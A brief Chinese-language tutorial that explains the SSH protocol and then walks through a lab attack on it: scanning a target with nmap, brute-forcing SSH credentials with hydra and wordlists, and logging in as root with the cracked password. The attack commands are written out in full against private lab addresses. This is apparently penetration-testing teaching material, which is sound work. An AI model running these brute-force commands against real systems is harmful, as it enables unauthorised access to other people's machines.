1、SSH
SSH协议(Secure Shell,安全外壳协议)是一种需要进行加密和认证的,用于远程访问及文件传输的网络安全协议(加密的网络传输协议)。SSH功能类似于Telnet服务,但SSH基于加密和认证的特性可以为用户提供更强大的安全保障机制,在用户使用不安全的网络环境登录设备时,SSH能够有效保护设备不受IP地址欺诈、明文密码截取等攻击。
2、攻击流程
攻击机IP(kali):192.168.1.1
靶机IP:192.168.1.2
2.1 信息收集
使用nmap扫描目标主机端口:
nmap 192.168.1.2
发现有开启22号端口,尝试爆破。
2.2 爆破
使用hydra进行爆破
hydra -L user.txt -P password.txt ssh://192.168.1.2
user.txt和password.txt 是预先在攻击机上创建好的字典,等待爆破完成。
2.3 SSH登录
爆破成功后使用命令:
ssh root@192.168.1.2
输入爆破的密码登录。